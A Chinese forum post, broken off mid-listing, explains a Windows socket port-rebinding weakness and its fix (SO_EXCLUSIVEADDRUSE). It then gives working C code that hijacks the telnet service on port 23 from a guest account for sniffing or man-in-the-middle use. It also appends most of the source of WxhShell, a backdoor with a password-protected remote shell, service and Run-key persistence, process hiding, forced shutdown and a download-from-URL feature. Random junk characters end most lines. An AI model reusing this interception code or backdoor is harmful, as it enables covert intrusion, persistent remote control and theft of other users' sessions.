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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZYos.ay  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6OkN(tL&.  
7^ A;.x  
  saddr.sin_family = AF_INET; $RuJm\f  
f.!)O@HzH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hCQz D2  
D ?1$I0=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pE[ul  
j{C+`~O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )3V5P%Q  
OQ;DqV  
  这意味着什么?意味着可以进行如下的攻击: =cs;avtL  
Eb7qM.Q] &  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U+3,(O  
CLg;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x JQde 4  
t|jX%s=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x00"d$!  
Z$ {I 4a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6.kX~$K  
X3NHQMI   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (%ra~s?  
_%Sorr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8zP{Cmm  
4\H:^U&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y TfAS .  
O,>1GKw"\  
  #include 6q RZ#MC  
  #include lJP6s k  
  #include  O;h]  
  #include    ?dP3tLR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3P-qLbJ  
  int main() -yHVydu=  
  { 8;mn7XX  
  WORD wVersionRequested; Fy3&Emu  
  DWORD ret; |#q5#@,  
  WSADATA wsaData; J)vP<.3:  
  BOOL val; -g(&5._,ZW  
  SOCKADDR_IN saddr; uh*b[`e  
  SOCKADDR_IN scaddr; E}sj l  
  int err; {|c <8  
  SOCKET s; |v#N  
  SOCKET sc; Adp:O"-H1o  
  int caddsize; 3U9]&7^  
  HANDLE mt; (" <3w2Vlh  
  DWORD tid;   q$`{$RX  
  wVersionRequested = MAKEWORD( 2, 2 ); ]#]|]>& <  
  err = WSAStartup( wVersionRequested, &wsaData ); NWd%Za5K;  
  if ( err != 0 ) { + VE }c  
  printf("error!WSAStartup failed!\n"); qMD6LWJ  
  return -1; *T' /5,rX2  
  } z1XFc*5  
  saddr.sin_family = AF_INET; kFZw"5hb  
   PXof-W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h4N!zj[  
o65:)z u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {Hm0Q  
  saddr.sin_port = htons(23); u;18s-NY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %wn|H>  
  { %p6"Sg*  
  printf("error!socket failed!\n"); [,e[~J`C  
  return -1; a@$U?=\e  
  } A rC4pT   
  val = TRUE; ,7,x9qE"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'yxRz5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Is&z~Xy/  
  { "PK\;#[W|  
  printf("error!setsockopt failed!\n"); NXb_hF  
  return -1; /( %Q  
  } kKFmTo   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (NK$2A/p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QNj hA'[T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p!BZTwP  
cf)2GoV>e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0(\ybppx  
  { S^'?s fq  
  ret=GetLastError(); V1 T?T9m  
  printf("error!bind failed!\n"); >Vz Gx(7q  
  return -1; (~}IoQp>  
  } %tEjf 3  
  listen(s,2); [<`K%1GQ  
  while(1) ieXhOA  
  { ]4wyuP,up  
  caddsize = sizeof(scaddr); HTiqErD2_  
  //接受连接请求 }w .[ZeP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N)|mA)S)  
  if(sc!=INVALID_SOCKET) IH8^ fyQ`  
  { Qfx(+=|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rZ5vey  
  if(mt==NULL) !N:!x[5  
  { D{g6M>,\  
  printf("Thread Creat Failed!\n"); +ptVAg+  
  break; 3;( ;'5|Z  
  } U/'"w v1y  
  } 7WK^eW"y8  
  CloseHandle(mt); T[*1*303  
  } Z ? `  
  closesocket(s); 9SF2  
  WSACleanup(); l]D?S]{a  
  return 0; "\M16N  
  }   b@j**O>[q)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5>+>=)*  
  { ZD\`~I|gp  
  SOCKET ss = (SOCKET)lpParam; YCZl1ry:V=  
  SOCKET sc; Y-\/Y*;cd  
  unsigned char buf[4096]; &TYTeJ]  
  SOCKADDR_IN saddr; #T:#!MKa  
  long num; % B+W#Q`  
  DWORD val; Si#I^aF`%  
  DWORD ret; KPO?eeT.WZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZYDLl8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a_Y*pOu  
  saddr.sin_family = AF_INET; dU%Q=r8R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <?UbzT7X  
  saddr.sin_port = htons(23); EfHo1Yn&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SXkUtY$  
  { 1vKc>+9  
  printf("error!socket failed!\n"); DZo7T!  
  return -1; 0gdFXh$!e  
  } (XW\4msB)I  
  val = 100; 6d/;GyG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Au Ib>@a  
  { 3\_ae2GW  
  ret = GetLastError(); T(t@[U2^  
  return -1; kSx^Uu*  
  } L1=+x^WQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %xZYIY Kf  
  { BUT{}2+K  
  ret = GetLastError(); i}teY{pyc  
  return -1; s;V~dxAiv  
  } `k b]tf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d,kh6'g2@  
  { 9}p>='  
  printf("error!socket connect failed!\n"); .?{rd3[ec  
  closesocket(sc); xVk|6vA7  
  closesocket(ss); GPBp.$q+B  
  return -1; QHOA__?  
  } 7PQ03dtfg  
  while(1) R gY-fc0  
  { u[nx?!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xCU^4DO3p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q =sEtH=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ":s1}A  
  num = recv(ss,buf,4096,0); al>^}:  
  if(num>0) lbM)U  
  send(sc,buf,num,0); A[lbBR  
  else if(num==0) d%1Tv1={  
  break; ~uy{6U{&I  
  num = recv(sc,buf,4096,0); [vMksHk4  
  if(num>0) $|+q9 o\  
  send(ss,buf,num,0); Ia_I~ U$  
  else if(num==0) *Ju$A  
  break; Q72}V9I9  
  } WJH-~,u  
  closesocket(ss); +M4X r *  
  closesocket(sc); thG;~ W  
  return 0 ; &+V6mH9m@  
  } }diB  
n0|oV(0FE  
\Tf[% Kt x  
========================================================== ~)>O=nR  
#oBMA  
下边附上一个代码,,WXhSHELL GIXxOea1  
1k-YeQNe  
========================================================== VB 53n'  
h'*>\eC6  
#include "stdafx.h" c@H_f  
;',hwo_LBf  
#include <stdio.h> 7{<:g!  
#include <string.h> #E35%7*  
#include <windows.h> .m--# r  
#include <winsock2.h> ! 6y<jJ>  
#include <winsvc.h> @JJ,$ ?  
#include <urlmon.h> Wp2b*B=-  
['9awgkr/  
#pragma comment (lib, "Ws2_32.lib") Py^ _::  
#pragma comment (lib, "urlmon.lib") k?(x}IZdG  
yCznRd}J  
#define MAX_USER   100 // 最大客户端连接数 5=< y%VF  
#define BUF_SOCK   200 // sock buffer @9-/p^n1  
#define KEY_BUFF   255 // 输入 buffer 2.''Nt6|  
fL^+Qb}  
#define REBOOT     0   // 重启 >q W_%  
#define SHUTDOWN   1   // 关机 c6 O1Z\M@\  
kmfz=q?  
#define DEF_PORT   5000 // 监听端口 2R}9wDP  
-+1_ 1!  
#define REG_LEN     16   // 注册表键长度 7G,{BBB  
#define SVC_LEN     80   // NT服务名长度 1Z9_sd~/6  
\#1*r'V8  
// 从dll定义API ]/byz_7]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tG!ApL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;F>$\"aG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %x$1g)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "J51\8G@@  
ly,3,ok  
// wxhshell配置信息 UO3QwZ4j;  
struct WSCFG { bbGSh|u+P  
  int ws_port;         // 监听端口 luA k$Es  
  char ws_passstr[REG_LEN]; // 口令 [!^Q_O  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8sMDe'  
  char ws_regname[REG_LEN]; // 注册表键名 +7yirp~`K  
  char ws_svcname[REG_LEN]; // 服务名 y2"PKBK\_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xx.4K>j+j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3O{*~D&n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c?@WNv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +rT%C&ze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &yu3nA:7D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c eH8  
UNx|+  
}; .I~#o$6  
ZkbaUIQ  
// default Wxhshell configuration Gk"o/]Sf  
struct WSCFG wscfg={DEF_PORT, K7G|cZ/^  
    "xuhuanlingzhe", >F@qFP N]  
    1, 4 h}03 oG  
    "Wxhshell", W6N3u7mrb  
    "Wxhshell", '. Ww*N  
            "WxhShell Service", aQ@9(j> F  
    "Wrsky Windows CmdShell Service", l/=2P_8+Z  
    "Please Input Your Password: ", x2-i1#j`;  
  1, >Yr-aDV  
  "http://www.wrsky.com/wxhshell.exe", fY)Dx c&ue  
  "Wxhshell.exe" <n8K"(sy}  
    }; w$ zX.;s  
\0}!qG![AA  
// 消息定义模块 YIP /N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U<T.o0s=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i}fAjS:W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Fi ~GY_  
char *msg_ws_ext="\n\rExit."; _G$SA-W(  
char *msg_ws_end="\n\rQuit."; G~$.Af!9W  
char *msg_ws_boot="\n\rReboot..."; U[4Xo&`  
char *msg_ws_poff="\n\rShutdown..."; HR.^ y$IE  
char *msg_ws_down="\n\rSave to "; X# 625h  
+[LG>  
char *msg_ws_err="\n\rErr!"; R`IFKmA EJ  
char *msg_ws_ok="\n\rOK!"; jkTh)Bm|'  
nRP|Qt7>  
char ExeFile[MAX_PATH]; o'oA.'ul  
int nUser = 0; <)hA? 3J  
HANDLE handles[MAX_USER]; ~0;l\^  
int OsIsNt; (d> M/x?W  
vb o| q[z  
SERVICE_STATUS       serviceStatus; GJu[af  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cst}/8e  
M2pe*z  
// 函数声明 (-<s[VnXP  
int Install(void); oFO)28Btv  
int Uninstall(void); E{Kc$,y  
int DownloadFile(char *sURL, SOCKET wsh); (D\7EH\9,]  
int Boot(int flag); fwkklg^  
void HideProc(void); A"S F^p  
int GetOsVer(void); 9<e%('@[  
int Wxhshell(SOCKET wsl); ?%|w?Fdx-  
void TalkWithClient(void *cs); _u[2R=h  
int CmdShell(SOCKET sock); 1g{-DIOmn  
int StartFromService(void); H^VNw1.   
int StartWxhshell(LPSTR lpCmdLine); D]?eRO9'  
@5["L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; ,vGw <|o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .83{NF  
~nVO%IxM4J  
// 数据结构和表定义 a-cLy*W,~  
SERVICE_TABLE_ENTRY DispatchTable[] = { R`"Nk  
{ /wR,P  
{wscfg.ws_svcname, NTServiceMain}, u~C,x3yr  
{NULL, NULL} |]Eli%mNe  
}; tk5zq-/ d  
eT'Z;ZO  
// 自我安装 cXd?48O  
int Install(void) zao=}j?  
{ :Rroz]*  
  char svExeFile[MAX_PATH]; JK/gq}c  
  HKEY key; {!L25  
  strcpy(svExeFile,ExeFile); NT0im%  
LmZ"_  
// 如果是win9x系统,修改注册表设为自启动 .eHOG]H  
if(!OsIsNt) { tKX+eA]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SWLt5dV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }e K.\_t=  
  RegCloseKey(key); (-[73v-w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FK+`K<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E*Z# fa  
  RegCloseKey(key); *}P=7TuS  
  return 0; ?'IY0^  
    } -z~;f<+I`  
  } aGml!N5'  
} 1EemVZdY  
else { p.|M:C\xL  
>]}c,4D(  
// 如果是NT以上系统,安装为系统服务 5hvg]w95;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y,xJ5BI$  
if (schSCManager!=0) v;o/M6GL5  
{ T^DJ/uhd  
  SC_HANDLE schService = CreateService Fl}{"eCF8  
  ( )gHfbUYS  
  schSCManager, ;i,3KJ[L  
  wscfg.ws_svcname, O63:t$Yx#  
  wscfg.ws_svcdisp, iF*L-   
  SERVICE_ALL_ACCESS, g2%fla7r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EM7Z g 65  
  SERVICE_AUTO_START, <<Q}|$Wu  
  SERVICE_ERROR_NORMAL, H7{I[>:  
  svExeFile, ".7\>8A#a  
  NULL, H(gETRh  
  NULL, #GuN.`__n,  
  NULL, DS|q(O=7~t  
  NULL, E}g)q;0v|2  
  NULL ,92wW&2  
  ); Q#5~"C  
  if (schService!=0) Q*ixg$>  
  { ez14f$cJ+  
  CloseServiceHandle(schService); U[{vA6  
  CloseServiceHandle(schSCManager); )dfwYS*[n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -oT3`d3  
  strcat(svExeFile,wscfg.ws_svcname); wE3fKG.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cBtQ2,<6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FWW*f _L  
  RegCloseKey(key); N}ZBtkR  
  return 0; ;~GBD]  
    } V~sfR^FQ'  
  } _>E=.$  
  CloseServiceHandle(schSCManager); ML.|\:r*  
} 97k}{tG  
} hr W2#v  
:[&QoEZW  
return 1; tu's]3RE  
} U&W/Nj  
>BZ,g!N,J}  
// 自我卸载 ldnKV&N  
int Uninstall(void) gKP=@v%-  
{  Dn#^-,H  
  HKEY key; eig{~3  
zvn3i5z  
if(!OsIsNt) { ^/I.? :+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~?:>=x  
  RegDeleteValue(key,wscfg.ws_regname); :-lq Yd5^  
  RegCloseKey(key); ),y`Iw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &<_q00F  
  RegDeleteValue(key,wscfg.ws_regname); )7N$lY<  
  RegCloseKey(key); M0RVEhX  
  return 0; Q .cL1uHc  
  } 63$ R')  
} y{eZrX|  
} S %"7`xl  
else { JAA P5ur  
T'*.LpNP,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Te{L@sj  
if (schSCManager!=0) 7<=7RPWmD  
{ y^C; ?B<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >oc7=F<8lS  
  if (schService!=0) uREc9z `Q'  
  { B(MO!GNg=  
  if(DeleteService(schService)!=0) { WPE@yI(  
  CloseServiceHandle(schService); +{/zP{jH  
  CloseServiceHandle(schSCManager); X/1Z9 a+W  
  return 0; ZUyM:$  
  } |k'I?:'  
  CloseServiceHandle(schService); =*'X  
  } 1F5F2OT$8  
  CloseServiceHandle(schSCManager); 5b B[o6+  
} @D"1}CW  
} q9Y0Lk  
zck)D^,aO  
return 1; ?NI)3-l  
} !*%3um  
'q*1HNwGp  
// 从指定url下载文件 {uj9fE,)  
int DownloadFile(char *sURL, SOCKET wsh) q@(N 38D  
{ "_)   
  HRESULT hr; kX1hcAa  
char seps[]= "/"; l}AB):<Z  
char *token; wq]nz!  
char *file; *8XGo  
char myURL[MAX_PATH]; uR"]w7=  
char myFILE[MAX_PATH]; 00pHnNoxW  
A)7'\JK7b  
strcpy(myURL,sURL); Q|G[9HBI  
  token=strtok(myURL,seps); 6ldDt?iSg  
  while(token!=NULL) R4qk/@]t  
  { %n}]$ d  
    file=token; R1q04Zj{2  
  token=strtok(NULL,seps); :,VyOmf  
  } 'ZDa*9nkF  
E 0oJ|My  
GetCurrentDirectory(MAX_PATH,myFILE); v5$zz w  
strcat(myFILE, "\\"); HRw,D=  
strcat(myFILE, file); ;%82Z4  
  send(wsh,myFILE,strlen(myFILE),0); zu|pL`X  
send(wsh,"...",3,0); Z=H f OC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zR<jZwo]#  
  if(hr==S_OK) =q"3a9 pb7  
return 0; WD)[Ac[  
else c&_3"2:  
return 1; LQQhn{[D  
iCEX|Tj;  
} 0CN .gu  
!9N%=6\  
// 系统电源模块 eeX)JC0A  
int Boot(int flag) . }1!MK5  
{ ~|!lC}!IKL  
  HANDLE hToken; k4l72 'P  
  TOKEN_PRIVILEGES tkp; B=p'2lla  
}z*p2)v`  
  if(OsIsNt) { j"dbl?og  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EagI)W!s[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GS^4t mc  
    tkp.PrivilegeCount = 1; f Gfv{4R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I'j? T.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #nd,cn  
if(flag==REBOOT) { &, )tD62s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :=8vy  
  return 0; qjFgy)qV  
} aqN.5'2\  
else { R3<+z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {F4:  
  return 0; 'F~u \m=E  
} {J]|mxo  
  } -_}EQ9Q  
  else { R}]FIu  
if(flag==REBOOT) { kDKpuA!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 83 n: h08  
  return 0; (1o^Dn3  
} :z:Blp>nK/  
else { rx"zqm9 }u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oMVwId f  
  return 0; f0F$*"#G  
} tX_eN  
} +EB# #  
pA2U+Q@  
return 1; M Q6Y^,B  
} a !IH-XJ2  
g DhwJks  
// win9x进程隐藏模块 zxh"@j$?  
void HideProc(void) A>?fbY2n  
{ u62sq: GjH  
dd$N4&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rc4EFHL  
  if ( hKernel != NULL ) Y!L jy [/  
  { H@zk8]_P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &0g,Xkr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  W 6~=?C  
    FreeLibrary(hKernel); |(S W  
  } q :bKT#\  
cGp^;> ]M  
return; fo.m&mKgo  
} E ( @;p%:  
#-;BU{3*  
// 获取操作系统版本 ]c)SVn$6  
int GetOsVer(void) ng*%1;P  
{ -?W@-*J  
  OSVERSIONINFO winfo; 9zJ`;1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iqsk\2W]a3  
  GetVersionEx(&winfo); aW"!bAdx`,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  zjA/Z(  
  return 1; c #kV+n<  
  else *3$,f>W^  
  return 0; guv@t&;t0  
} 0R& U18)y  
Z=0W@_s  
// 客户端句柄模块 =FmU]DV  
int Wxhshell(SOCKET wsl) x/=j$oA  
{ j;)6uia*A  
  SOCKET wsh; K_QCYS.  
  struct sockaddr_in client; [R4x[36Zp  
  DWORD myID; "|%9xGX|D  
4*x!B![]y  
  while(nUser<MAX_USER) D.(G9H  
{ j;)g+9`  
  int nSize=sizeof(client); PoJ$%_a}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); prtxE&-  
  if(wsh==INVALID_SOCKET) return 1; |xVCl<{F%  
l,.?-|Poa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]ufW61W6Ci  
if(handles[nUser]==0) %v[ Kk-d  
  closesocket(wsh); 7X(]r1-+\  
else cO,V8#H  
  nUser++; Nb~dw;t  
  } W(h8!}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }4SSo)Uv/  
v9U(sEDq  
  return 0; fm%RNAPvc  
} S |>$0P4W(  
hFMst%:y$  
// 关闭 socket B#"|5  
void CloseIt(SOCKET wsh) xGfD z*t  
{ xn@0pL3B~  
closesocket(wsh); WEtA4zCO  
nUser--; @b\ S.  
ExitThread(0); -Zg @D(pF  
} Reu{   
*Ca)RgM  
// 客户端请求句柄 JA(fam~{  
void TalkWithClient(void *cs) EWIc|b:  
{ 3]<re{)J9O  
*frJ^ Ws{  
  SOCKET wsh=(SOCKET)cs; QaWHz   
  char pwd[SVC_LEN]; $-Pqs ^g  
  char cmd[KEY_BUFF]; >}b6J7_  
char chr[1]; IzdTXc f  
int i,j; tRnW%F5  
{Y91vXTz7  
  while (nUser < MAX_USER) { 6@q[tN7_^  
oL'1Gm@X?  
if(wscfg.ws_passstr) { 99 "[b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `E5"Pmg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u=;nU(]M '  
  //ZeroMemory(pwd,KEY_BUFF); qmA2bw]  
      i=0; ZQ~myqx,+L  
  while(i<SVC_LEN) { C$LRY~ \  
\c~{o+UD-  
  // 设置超时 `{U%[$<[W  
  fd_set FdRead; ml.;wB|  
  struct timeval TimeOut; r1oku0o  
  FD_ZERO(&FdRead); - ~\.n  
  FD_SET(wsh,&FdRead); U2V^T'Y[  
  TimeOut.tv_sec=8; BKQIo)g.G  
  TimeOut.tv_usec=0; qX{X4b$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Vf78n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~#"7,rQp  
v0`qMBr1y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'sRg4?PT  
  pwd=chr[0]; cRh\USS  
  if(chr[0]==0xd || chr[0]==0xa) { mT6q}``vtG  
  pwd=0; Jf?S9r5Q  
  break; C NfJ:e2  
  } [Iw>|q<e  
  i++; kqD*TJA  
    } >wKu6- ]a  
0AK?{y U  
  // 如果是非法用户,关闭 socket jQ_dw\ {0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l*K I  
} O xT}I  
mN\%f J7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K lli$40  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rToaGQh  
"[*S?QO(L  
while(1) { /WgPXEB  
Rkpr8MS  
  ZeroMemory(cmd,KEY_BUFF); w dGpt_  
\[hn]@@  
      // 自动支持客户端 telnet标准   9DOkQnnc  
  j=0; UU iNR  
  while(j<KEY_BUFF) { %1\v7Xw{9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D[89*@v  
  cmd[j]=chr[0]; ZT) !8  
  if(chr[0]==0xa || chr[0]==0xd) { Cf0|Z  
  cmd[j]=0; *$i;o3  
  break; HKTeqH_:  
  } nTys4 R  
  j++; 3s`V)aXP  
    } =Kc|C~g  
)o#6-K+b  
  // 下载文件 /a[V!<"R  
  if(strstr(cmd,"http://")) { y]}b?R~p=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }_{y|NW  
  if(DownloadFile(cmd,wsh)) 5/B#)gm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:wnO|:  
  else onnI !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t_jyyHxoZ:  
  } N[qA2+e$Z  
  else { n1QEu"~Zj  
`d7gm;ykp  
    switch(cmd[0]) { @B,j;2eb  
  o 'C~~Vg).  
  // 帮助 t=n+3`g  
  case '?': { "jL1. 9%"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tJ=3'?T_k  
    break; (M ]XNn  
  } Dv<wge`  
  // 安装 K;oV"KRK  
  case 'i': { o]Z _@VI  
    if(Install()) Hf VHI1f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)4UMR#b&  
    else ;>NP.pnA)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9wL!D3e {Q  
    break; q*\NRq  
    } :KEq<fEI  
  // 卸载 SQ}S4r  
  case 'r': { VmN}FMGN  
    if(Uninstall()) DH5bpg&T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b,#`n  
    else 8y$5oD6g9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-VG ?J  
    break; bqSMDK  
    } @-0Fe9 n=  
  // 显示 wxhshell 所在路径 ,09DBxQq,  
  case 'p': { = 0 ,|/1~  
    char svExeFile[MAX_PATH]; LU%#mY  
    strcpy(svExeFile,"\n\r"); "tqnx?pM  
      strcat(svExeFile,ExeFile); WFouoXlG0  
        send(wsh,svExeFile,strlen(svExeFile),0); 6N"m?g*Z d  
    break; Qh*)pt]n  
    } d$pYo)8o({  
  // 重启 1\/{#c  
  case 'b': { j(j#0dXLh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  KyTuF   
    if(Boot(REBOOT)) Q|?'(J+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13H;p[$  
    else { oz LH]*  
    closesocket(wsh); u t$c)_  
    ExitThread(0); 69>/@<   
    } Mm5c8[   
    break; RT,:hH  
    } wTxbDT@H5  
  // 关机 E>E*ZZuhj  
  case 'd': { g0PT8]8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;`DD}j`  
